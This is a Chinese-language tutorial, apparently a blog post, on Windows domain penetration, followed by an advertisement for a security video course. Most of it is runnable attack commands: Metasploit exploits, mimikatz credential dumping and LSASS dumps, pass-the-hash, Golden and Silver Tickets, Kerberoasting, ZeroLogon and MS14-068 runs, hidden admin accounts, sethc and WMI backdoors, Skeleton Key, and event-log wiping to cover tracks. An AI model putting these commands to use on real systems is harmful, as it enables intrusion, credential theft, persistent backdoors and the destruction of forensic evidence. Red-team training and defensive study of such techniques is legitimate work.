一、内网渗透概述
内网渗透是指攻击者突破企业外部边界后,在企业内部网络中进行的横向移动、权限提升和核心资产获取活动。与外网渗透不同,内网渗透更注重对Windows域环境、Kerberos协议、内网拓扑的深入理解。
内网渗透完整流程
外网打点 → 边界突破 → 内网信息收集 → 权限提升 → 横向移动 → 凭据获取 → 域控接管 → 权限维持 → 痕迹清理内网渗透阶段
| 阶段 | 目标 | 关键技术 | 常用工具 |
|---|---|---|---|
| 外网打点 | 获取初始Shell | 漏洞利用/钓鱼/社工 | Metasploit/Cobalt Strike |
| 内网收集 | 探测内网拓扑 | 端口扫描/存活探测 | Nmap/fscan |
| 权限提升 | 获取SYSTEM权限 | 内核漏洞/服务配置 | PowerUp/Beacon |
| 横向移动 | 扩大到更多主机 | PTH/PTH/RDP | CrackMapExec/mimikatz |
| 凭据获取 | 获取密码/Hash | 抓取内存中的凭据 | mimikatz/LaZagne |
| 域控接管 | 控制域控服务器 | 金银票据/ZeroLogon | mimikatz/kekeo |
| 权限维持 | 持久化驻留 | 后门/服务/计划任务 | Cobalt Strike |
二、外网打点获取初始Shell
1. 常见入口点
| 入口点 | 利用方式 | 案例 |
|---|---|---|
| Web漏洞 | SQL注入/RCE/文件上传 | Web应用渗透 |
| 钓鱼邮件 | 附件/恶意链接 | 发送携带木马的Office文档 |
| VPN漏洞 | SSL VPN未授权 | Pulse Secure/Fortinet |
| 弱口令 | 爆破SSH/RDP/数据库 | hydra爆破 |
| 社会工程 | 伪造网站骗取凭据 | 克隆OA登录页 |
| 供应链攻击 | 第三方组件漏洞 | 第三方软件被植入后门 |
2. 获取初始Shell
# Metasploit - 通过Web漏洞获取Shell# 例如利用Struts2漏洞msf6>use exploit/multi/http/struts2_content_type_ognl msf6>setRHOSTS target.com msf6>setLHOST192.168.1.100 msf6>exploit# Cobalt Strike - 生成木马# 1. 创建ListenerBeacon HTTP Port:80# 2. 生成PayloadAttacks → Packages → Windows Executable# 3. 上传到目标执行三、内网信息收集
获取初始Shell后,首要任务是对内网进行全面侦察。
1. 本机信息收集
:: 系统信息 systeminfo :: 域信息 net config workstation net time /domain :: 如果返回"找不到域",说明在工作组 :: 如果返回域控时间,说明在域内 :: 查看当前用户和权限 whoami /all whoami /priv :: 查看网络配置 ipconfig /all route print arp -a :: 查看防火墙状态 netsh advfirewall show allprofiles :: 查看RDP端口 reg query "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber2. 域信息收集
:: 查看域 net view /domain net view /domain:DOMAIN :: 查看域控 nltest /dclist:DOMAIN net group "domain controllers" /domain :: 查看域管理员 net group "domain admins" /domain :: 查看域用户 net user /domain net group "domain users" /domain :: 查看域内计算机 net group "domain computers" /domain net view /domain:DOMAIN3. BloodHound域信息收集
# 使用SharpHound收集域信息# 1. 执行SharpHoundSharpHound.exe-c All--zipfilename output.zip# 2. 或使用PowerShell模块Import-Module.\SharpHound.ps1Invoke-BloodHound-CollectionMethod All# 3. 将数据导入BloodHound分析# 启动BloodHound# neo4j console# bloodhound# 4. 分析攻击路径# Shortest Path to Domain Admin# Find Shortest Path to Domain Admins4. 内网存活探测与端口扫描
# 使用fscan一键扫描fscan-h192.168.1.0/24 fscan-hftarget.txt# 自动扫描存活主机、开放端口、常见漏洞# 使用Nmap内网扫描nmap-sn192.168.1.0/24# 存活探测nmap-sV-p445,3389,22,80192.168.1.0/24# 服务探测# Cobalt Strike内网扫描# 扫描存活主机beacon>portscan192.168.1.0-2551-1000 arp5. 使用PowerView收集域信息
# 导入PowerView模块Import-Module.\PowerView.ps1# 获取域信息Get-NetDomainGet-NetDomainControllerGet-NetUserGet-NetGroupGet-NetComputerGet-NetShare# 查询域管Get-NetGroupMember-GroupName"Domain Admins"# 查询高价值目标Get-NetUser-SPN# 查找SPN用户(Kerberoasting目标)Get-NetUser-AllowDelegation# 查找允许委派的用户Find-ManagedSecurityGroups# 查找受管理的安全组四、凭据获取
1. mimikatz抓取密码
:: 提权到DEBUG权限 mimikatz# privilege::debug :: 抓取明文密码(需要Wdigest启用) mimikatz# sekurlsa::logonpasswords :: 抓取NTLM Hash mimikatz# lsadump::sam :: 抓取LSA中保存的密码 mimikatz# sekurlsa::msv :: 导出所有凭据 mimikatz# sekurlsa::wdigest mimikatz# sekurlsa::kerberos mimikatz# sekurlsa::tspkg mimikatz# sekurlsa::ssp2. 启用Wdigest获取明文密码
:: Windows Server 2012 R2以上默认禁用Wdigest,需手动启用 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f :: 等待用户重新登录后抓取 :: 或锁定屏幕等管理员重新登录 rundll32.exe user32.dll,LockWorkStation3. Lsass进程dump
# 使用procdump导出lsass内存procdump.exe-accepteula-ma lsass.exe lsass.dmp# 使用PowerShell导出Out-Minidump-Process(Get-Processlsass)# 离线分析mimikatz# sekurlsa::minidump lsass.dmpmimikatz# sekurlsa::logonpasswords4. 其他凭据获取
:: 获取浏览器保存的密码 LaZagne.exe all :: 获取RDP保存的连接记录 cmdkey /list :: 获取WiFi密码 netsh wlan show profile netsh wlan show profile name="WiFi名称" key=clear :: 获取Navicat密码 :: 使用SharpNavicat获取数据库客户端密码 :: 获取Xshell密码 :: 使用SharpXDecrypt获取SSH密码五、横向移动
1. Pass The Hash(哈希传递攻击)
PTH攻击不需要知道明文密码,直接使用NTLM Hash进行认证。
# mimikatz PTHmimikatz# sekurlsa::pth /user:administrator /domain:test.com /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe# CrackMapExec 批量PTHcrackmapexec smb192.168.1.0/24-uadministrator-H31d6cfe0d16ae931b73c59d7e0c089c0# Impacket wmiexec PTHpython3 wmiexec.py-hashes:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.10# Cobalt Strike PTHbeacon>pth test.com\administrator 31d6cfe0d16ae931b73c59d7e0c089c02. Pass The Ticket(票据传递攻击)
利用Kerberos票据进行横向移动,不需要知道密码或Hash。
:: mimikatz 导出票据 mimikatz# sekurlsa::tickets /export :: 注入票据 mimikatz# kerberos::ptt ticket.kirbi :: 验证票据 klist :: 访问目标服务 dir \\DC01\c$3. PsExec横向移动
# Sysinternals PsExecpsexec.exe\\192.168.1.10-uadministrator-ppassword cmd.exe# Impacket psexecpython3 psexec.py administrator:password@192.168.1.10# Metasploit psexec模块msf6>use exploit/windows/smb/psexec msf6>setRHOSTS192.168.1.10 msf6>setSMBUser administrator msf6>setSMBPass password msf6>exploit4. WMI横向移动
:: WMI远程执行 wmic /node:192.168.1.10 /user:administrator /password:password process call create "cmd.exe /c whoami" :: Impacket wmiexec python3 wmiexec.py administrator:password@192.168.1.10 :: WMI PTH python3 wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.105. RDP横向移动
:: 开启目标RDP reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall add rule name="RDP" dir=in protocol=TCP localport=3389 action=allow :: 如果只知道Hash,使用mimikatz创建RDP PTH会话 mimikatz# privilege::debug mimikatz# sekurlsa::pth /user:administrator /domain:. /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0 /run:"mstsc.exe /v:192.168.1.10" :: 或使用FreeRDP进行PTH xfreerdp /v:192.168.1.10 /u:administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0六、域控接管
1. Golden Ticket(黄金票据)
获取域内krbtgt账户的NTLM Hash后,可以伪造任意用户的TGT票据。
:: 1. 获取krbtgt Hash(需在域控上执行) mimikatz# lsadump::dcsync /user:krbtgt :: 输出: :: Object Security ID: S-1-5-21-xxx-xxx-xxx :: Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 :: 2. 伪造Golden Ticket mimikatz# kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-xxx /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt :: 3. 使用伪造票据访问域控 dir \\DC01\c$ psexec \\DC01 cmd.exe2. Silver Ticket(白银票据)
获取服务账户Hash后,伪造TGS票据,不需要与KDC通信。
:: 1. 获取服务账户Hash mimikatz# sekurlsa::logonpasswords :: 获取到域管账户Hash :: 2. 伪造Silver Ticket(以CIFS服务为例) mimikatz# kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-xxx /target:DC01.test.com /service:cifs /rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt :: 3. 访问目标 dir \\DC01\c$3. Kerberoasting攻击
请求特定SPN的服务票据,离线爆破获取服务账户明文密码。
# 1. 查找SPN用户Get-UserSPNs# 2. 请求TGS票据# RubeusRubeus.exe kerberoast/outfile:tgs.txt# 或使用Impacketpython3 GetUserSPNs.py test.com/user:password-request# 3. 破解TGS票据Hashhashcat-m 13100 tgs.txt rockyou.txt john--wordlist=rockyou.txt tgs.txt4. ZeroLogon(CVE-2020-1472)
利用Netlogon协议漏洞将域控机器账户密码置空。
# 1. 检测漏洞python3 zerologon_tester.py DC01192.168.1.10# 2. 置空域控机器账户密码python3 cve-2020-1472-exploit.py DC01192.168.1.10# 3. 使用空密码导出域内Hashpython3 secretsdump.py -no-pass -just-dc test.com/DC01\$@192.168.1.10# 4. 使用krbtgt Hash伪造Golden Ticket# 5. 恢复域控机器账户密码(避免业务中断)python3 restorepassword.py test.com/DC01\$@DC01-hashes:新hash5. MS14-068域提权
利用Kerberos协议漏洞,普通域用户可伪造域管PAC。
# 1. 获取当前用户SIDwhoami/user# 2. 生成伪造票据python3 ms14-068.py-uuser@test.com-sS-1-5-21-xxx-d192.168.1.10# 3. 使用mimikatz注入票据mimikatz# kerberos::ptt TGT_user@test.com_to_test.com.kirbi# 4. 访问域控dir\\DC01\c$七、权限维持
1. 隐藏账户
:: 创建隐藏账户(命令行结尾加$) net user hacker$ P@ss123 /add net localgroup administrators hacker$ /add :: 注册表中可见但net user不可见 :: 需要修改注册表SAM的权限才能操作2. 注册表后门
:: Shift后门(替换sethc.exe) copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe :: 5次Shift触发cmd :: 利用镜像劫持(IFEO) reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f :: 利用AlwaysInstallElevated reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f3. 计划任务后门
:: 创建计划任务后门 schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\shell.exe" /sc minute /mo 5 /ru SYSTEM /f :: 触发后门 schtasks /run /tn "WindowsUpdate"4. WMI事件订阅后门
# 永久WMI事件订阅后门$filter=Set-WmiInstance-Class__EventFilter-Arguments @{Name ="BackdoorFilter"EventNamespace ="root\subscription"QueryLanguage ="WQL"Query ="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 300"}$consumer=Set-WmiInstance-ClassCommandLineEventConsumer-Arguments @{Name ="BackdoorConsumer"CommandLineTemplate ="C:\Windows\Temp\shell.exe"}Set-WmiInstance-Class__FilterToConsumerBinding-Arguments @{Filter=$filterConsumer =$consumer}5. Golden Ticket持久化
:: 只要拥有krbtgt Hash,即使修改密码也能伪造票据 :: 最佳防御:修改krbtgt密码两次(需改两次才能完全轮换) :: 或使用Skeleton Key后门 mimikatz# privilege::debug mimikatz# misc::skeleton :: 之后所有用户都可以使用密码"mimikatz"登录八、痕迹清理
:: 清除事件日志 wevtutil cl System wevtutil cl Security wevtutil cl Application :: 清除RDP记录 reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f :: 清除PowerShell历史记录 Remove-Item (Get-PSReadlineOption).HistorySavePath :: 清除预读文件 del /f /q C:\Windows\Prefetch\* :: 清除最近文档 del /f /q /a %APPDATA%\Microsoft\Windows\Recent\*九、内网渗透工具汇总
| 工具名称 | 功能 | 适用场景 |
|---|---|---|
| Cobalt Strike | 综合C2框架 | 团队协同内网渗透 |
| Metasploit | 渗透测试框架 | 漏洞利用/Payload生成 |
| mimikatz | 凭据获取/票据伪造 | 抓取密码/PTH/金银票据 |
| fscan | 一键内网扫描 | 存活探测/漏洞扫描 |
| BloodHound | 域分析 | 可视化域内攻击路径 |
| CrackMapExec | 批量执行 | 横向移动/PTH爆破 |
| Impacket | Python安全工具包 | 各协议横向利用 |
| Rubeus | Kerberos利用 | Kerberoasting/票据操作 |
| PowerView/SharpHound | 域信息收集 | PowerShell域信息枚举 |
| LaZagne | 凭据提取 | 各类应用密码获取 |
十、内网渗透实战案例
案例一:从Web Shell到域控
# 1. 通过Web漏洞获取Web Shell# SQL注入 → 写文件 → Web Shell# 2. 权限提升# Web用户 → SYSTEMwhoami# iis_apppool# 使用PowerUp检测提权路径Invoke-AllChecks# 发现服务可写,提权到SYSTEMwhoami# nt authority\system# 3. 内网信息收集nettime/domain# 获取到域控IP: 192.168.1.10net user /domain# 域用户列表net group"domain admins"/domain# 域管列表# 4. 抓取本机密码mimikatz# sekurlsa::logonpasswords# 获取到域用户账号密码# 5. 横向移动到域控# 使用获取的凭据PTH到域控python3 wmiexec.py-hashes:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.10# 6. 在域控上导出krbtgt Hashmimikatz# lsadump::dcsync /user:krbtgt# 7. 伪造Golden Ticketmimikatz# kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-xxx /krbtgt:hash /ptt# 8. 获取所有域内Hashpython3 secretsdump.py test.com/Administrator@192.168.1.10-hashes:krbtgt_hash# 9. 权限维持 - Golden Ticket# 只要krbtgt Hash不变,随时可伪造票据案例二:Kerberoasting攻击
# 1. 获取域用户权限# 通过钓鱼获取域用户Shell# 2. 查找SPN用户Rubeus.exe kerberoast /outfile:tgs.txt# 3. 破解TGS票据hashcat-m13100tgs.txt rockyou.txt# 破解出SQLService账户密码# 4. 该账户可能在多台服务器上有权限# 使用获取的密码横向移动# 5. 最终获取域管账户# 在某台服务器上抓取到域管登录的凭据总结
内网渗透是渗透测试的核心环节,也是红队和护网演练中的关键能力。本文从外网打点、内网信息收集、凭据获取、横向移动、域控接管到权限维持进行了系统讲解,涵盖了PTH/PTT/Golden Ticket/Silver Ticket/Kerberoasting/ZeroLogon等主流攻击技术,建议结合Vulhub、AD-lab等靶场进行实战练习。
学习资源
2026年最新版本,全网最全的网安视频教程。耗时半年打造,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。
总共200多节视频,200多G的资源,不用担心学不全。(包含攻击与防守、漏洞挖掘、CTF比赛等技术点)
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传,戳下面拿:
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:
————————————————